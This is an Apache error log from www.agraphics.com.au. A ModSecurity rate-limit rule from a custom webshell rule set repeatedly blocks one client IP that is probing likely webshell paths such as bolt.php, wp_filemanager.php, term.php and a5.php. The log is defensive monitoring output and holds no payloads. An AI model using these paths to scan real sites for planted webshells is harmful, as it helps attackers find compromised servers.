[Wed Apr 15 19:32:28.669103 2026] [:error] [pid 30957:tid 30998] [client 51.12.94.16:16463] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad93TH5gwVEVXHfVSipz-AAAAEk"]
[Wed Apr 15 19:32:29.887825 2026] [:error] [pid 30957:tid 31000] [client 51.12.94.16:7056] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad93TX5gwVEVXHfVSipz-QAAAEs"]
[Wed Apr 15 19:32:30.672487 2026] [:error] [pid 30957:tid 30996] [client 51.12.94.16:15361] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad93Tn5gwVEVXHfVSipz-gAAAEc"]
[Wed Apr 15 19:32:31.732714 2026] [:error] [pid 37370:tid 37387] [client 51.12.94.16:17635] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad93T3g-gnM2Ga0cGAARhwAAAQ8"]
[Wed Apr 15 19:32:33.094735 2026] [:error] [pid 37370:tid 37373] [client 51.12.94.16:6822] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ad93UXg-gnM2Ga0cGAARjQAAAQE"]
[Wed Apr 15 19:32:33.878756 2026] [:error] [pid 31053:tid 31059] [client 51.12.94.16:7102] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ad93URcEkLCmvF0fjDeyYAAAAIM"]
[Wed Apr 15 19:32:34.991623 2026] [:error] [pid 37370:tid 37389] [client 51.12.94.16:1410] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ad93Ung-gnM2Ga0cGAARkgAAARE"]
[Wed Apr 15 19:32:35.847496 2026] [:error] [pid 37370:tid 37374] [client 51.12.94.16:15888] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ad93U3g-gnM2Ga0cGAARlAAAAQI"]
[Wed Apr 15 19:32:36.495201 2026] [:error] [pid 37370:tid 37377] [client 51.12.94.16:17847] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad93VHg-gnM2Ga0cGAARmAAAAQU"]
[Wed Apr 15 19:32:37.588331 2026] [:error] [pid 30958:tid 31036] [client 51.12.94.16:13298] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad93VceG3wSKTO7NWFGRHQAAANQ"]
[Wed Apr 15 19:32:38.458160 2026] [:error] [pid 30957:tid 31013] [client 51.12.94.16:9738] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad93Vn5gwVEVXHfVSip0AwAAAFg"]
[Wed Apr 15 19:32:39.289220 2026] [:error] [pid 30958:tid 31022] [client 51.12.94.16:12387] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad93V8eG3wSKTO7NWFGRIAAAAMY"]
[Wed Apr 15 19:32:40.826749 2026] [:error] [pid 37370:tid 37380] [client 51.12.94.16:13257] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "ad93WHg-gnM2Ga0cGAARoQAAAQg"]
[Wed Apr 15 19:32:42.020894 2026] [:error] [pid 30957:tid 31001] [client 51.12.94.16:19491] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad93Wn5gwVEVXHfVSip0CwAAAEw"]
[Wed Apr 15 19:32:42.519317 2026] [:error] [pid 30958:tid 31017] [client 51.12.94.16:17619] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "ad93WseG3wSKTO7NWFGRIwAAAME"]
[Wed Apr 15 19:32:42.544912 2026] [:error] [pid 30958:tid 31040] [client 51.12.94.16:19508] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad93WseG3wSKTO7NWFGRJAAAANg"]
[Wed Apr 15 19:32:43.076571 2026] [:error] [pid 30956:tid 30968] [client 51.12.94.16:19519] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad93W0BGUpjaWntNYq1kIwAAAAg"]
[Wed Apr 15 19:32:43.594847 2026] [:error] [pid 37370:tid 37382] [client 51.12.94.16:1577] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "ad93W3g-gnM2Ga0cGAARpwAAAQo"]
[Wed Apr 15 19:32:43.662609 2026] [:error] [pid 30957:tid 31011] [client 51.12.94.16:19422] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad93W35gwVEVXHfVSip0DQAAAFY"]
[Wed Apr 15 19:32:44.393685 2026] [:error] [pid 37370:tid 37386] [client 51.12.94.16:17642] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "ad93XHg-gnM2Ga0cGAARqwAAAQ4"]
[Wed Apr 15 19:32:45.276808 2026] [:error] [pid 31053:tid 31060] [client 51.12.94.16:12269] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index.php"] [unique_id "ad93XRcEkLCmvF0fjDeyZwAAAIQ"]
[Wed Apr 15 19:32:45.890919 2026] [:error] [pid 30956:tid 30974] [client 51.12.94.16:7655] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index.php"] [unique_id "ad93XUBGUpjaWntNYq1kJwAAAA4"]
[Wed Apr 15 19:32:46.551792 2026] [:error] [pid 31053:tid 31067] [client 51.12.94.16:2007] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index.php"] [unique_id "ad93XhcEkLCmvF0fjDeyagAAAIs"]
[Wed Apr 15 19:32:47.116424 2026] [:error] [pid 37370:tid 37395] [client 51.12.94.16:15375] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index.php"] [unique_id "ad93X3g-gnM2Ga0cGAARtAAAARc"]
[Wed Apr 15 19:32:47.741062 2026] [:error] [pid 30956:tid 30964] [client 51.12.94.16:18535] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "ad93X0BGUpjaWntNYq1kKQAAAAQ"]
[Wed Apr 15 19:32:48.524985 2026] [:error] [pid 30958:tid 31033] [client 51.12.94.16:6514] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "ad93YMeG3wSKTO7NWFGRJQAAANE"]
[Wed Apr 15 19:32:49.503589 2026] [:error] [pid 37370:tid 37387] [client 51.12.94.16:18571] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "ad93YXg-gnM2Ga0cGAARuQAAAQ8"]
[Wed Apr 15 19:32:50.431403 2026] [:error] [pid 30957:tid 31001] [client 51.12.94.16:14903] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "ad93Yn5gwVEVXHfVSip0HAAAAEw"]
[Wed Apr 15 19:32:51.325473 2026] [:error] [pid 31053:tid 31073] [client 51.12.94.16:13147] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/900.php"] [unique_id "ad93YxcEkLCmvF0fjDeycgAAAJE"]
[Wed Apr 15 19:32:51.901161 2026] [:error] [pid 30958:tid 31037] [client 51.12.94.16:18542] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/900.php"] [unique_id "ad93Y8eG3wSKTO7NWFGRKQAAANU"]
[Wed Apr 15 19:32:52.803503 2026] [:error] [pid 30956:tid 30967] [client 51.12.94.16:12234] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/900.php"] [unique_id "ad93ZEBGUpjaWntNYq1kLwAAAAc"]
[Wed Apr 15 19:32:53.680499 2026] [:error] [pid 37370:tid 37375] [client 51.12.94.16:13127] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/900.php"] [unique_id "ad93ZXg-gnM2Ga0cGAARygAAAQM"]
[Wed Apr 15 19:32:55.085621 2026] [:error] [pid 37370:tid 37384] [client 51.12.94.16:8855] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "ad93Z3g-gnM2Ga0cGAARzgAAAQw"]
[Wed Apr 15 19:32:56.394974 2026] [:error] [pid 37370:tid 37373] [client 51.12.94.16:9774] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "ad93aHg-gnM2Ga0cGAAR0AAAAQE"]
[Wed Apr 15 19:32:57.498731 2026] [:error] [pid 37370:tid 37387] [client 51.12.94.16:1550] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "ad93aXg-gnM2Ga0cGAAR1QAAAQ8"]
[Wed Apr 15 19:32:58.327771 2026] [:error] [pid 30957:tid 30999] [client 51.12.94.16:9776] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "ad93an5gwVEVXHfVSip0LQAAAEo"]
[Wed Apr 15 19:32:58.938601 2026] [:error] [pid 37370:tid 37384] [client 51.12.94.16:14901] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad93ang-gnM2Ga0cGAAR3QAAAQw"]
[Wed Apr 15 19:32:59.981989 2026] [:error] [pid 37370:tid 37394] [client 51.12.94.16:18525] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad93a3g-gnM2Ga0cGAAR4gAAARY"]
[Wed Apr 15 19:33:00.769557 2026] [:error] [pid 31053:tid 31078] [client 51.12.94.16:13254] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad93bBcEkLCmvF0fjDeyfwAAAJY"]
[Wed Apr 15 19:33:01.880228 2026] [:error] [pid 31053:tid 31080] [client 51.12.94.16:14340] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad93bRcEkLCmvF0fjDeygwAAAJg"]
[Wed Apr 15 19:33:02.551075 2026] [:error] [pid 30957:tid 30997] [client 51.12.94.16:9755] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad93bn5gwVEVXHfVSip0MQAAAEg"]
[Wed Apr 15 19:33:03.242088 2026] [:error] [pid 31053:tid 31068] [client 51.12.94.16:18528] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad93bxcEkLCmvF0fjDeyiwAAAIw"]
[Wed Apr 15 19:33:03.936132 2026] [:error] [pid 31053:tid 31058] [client 51.12.94.16:12247] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad93bxcEkLCmvF0fjDeyjwAAAII"]
[Wed Apr 15 19:33:04.883520 2026] [:error] [pid 31053:tid 31078] [client 51.12.94.16:15408] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad93cBcEkLCmvF0fjDeykgAAAJY"]
[Wed Apr 15 19:33:05.914624 2026] [:error] [pid 30956:tid 30966] [client 51.12.94.16:14390] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad93cUBGUpjaWntNYq1kNgAAAAY"]
[Wed Apr 15 19:33:06.716230 2026] [:error] [pid 37370:tid 37395] [client 51.12.94.16:1289] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad93cng-gnM2Ga0cGAAR6AAAARc"]
[Wed Apr 15 19:33:07.398467 2026] [:error] [pid 31053:tid 31062] [client 51.12.94.16:15102] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad93cxcEkLCmvF0fjDeyogAAAIY"]
[Wed Apr 15 19:33:08.000493 2026] [:error] [pid 37370:tid 37392] [client 51.12.94.16:18986] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "ad93c3g-gnM2Ga0cGAAR7AAAARQ"]
[Wed Apr 15 19:33:08.955375 2026] [:error] [pid 37370:tid 37385] [client 51.12.94.16:9769] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad93dHg-gnM2Ga0cGAAR8gAAAQ0"]
[Wed Apr 15 19:33:09.787704 2026] [:error] [pid 37370:tid 37376] [client 51.12.94.16:1162] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad93dXg-gnM2Ga0cGAAR9gAAAQQ"]
[Wed Apr 15 19:33:10.459223 2026] [:error] [pid 37370:tid 37393] [client 51.12.94.16:18553] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad93dng-gnM2Ga0cGAAR-QAAARU"]
[Wed Apr 15 19:33:11.380772 2026] [:error] [pid 30958:tid 31033] [client 51.12.94.16:6553] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad93d8eG3wSKTO7NWFGRLwAAANE"]
[Wed Apr 15 19:33:12.318800 2026] [:error] [pid 31053:tid 31068] [client 51.12.94.16:14868] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad93eBcEkLCmvF0fjDeyrgAAAIw"]
[Wed Apr 15 19:33:12.979064 2026] [:error] [pid 31053:tid 31065] [client 51.12.94.16:10231] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad93eBcEkLCmvF0fjDeysgAAAIk"]
[Wed Apr 15 19:33:13.705751 2026] [:error] [pid 30958:tid 31022] [client 51.12.94.16:7931] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad93eceG3wSKTO7NWFGRNQAAAMY"]
[Wed Apr 15 19:33:14.376148 2026] [:error] [pid 37370:tid 37380] [client 51.12.94.16:9294] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad93eng-gnM2Ga0cGAASAQAAAQg"]
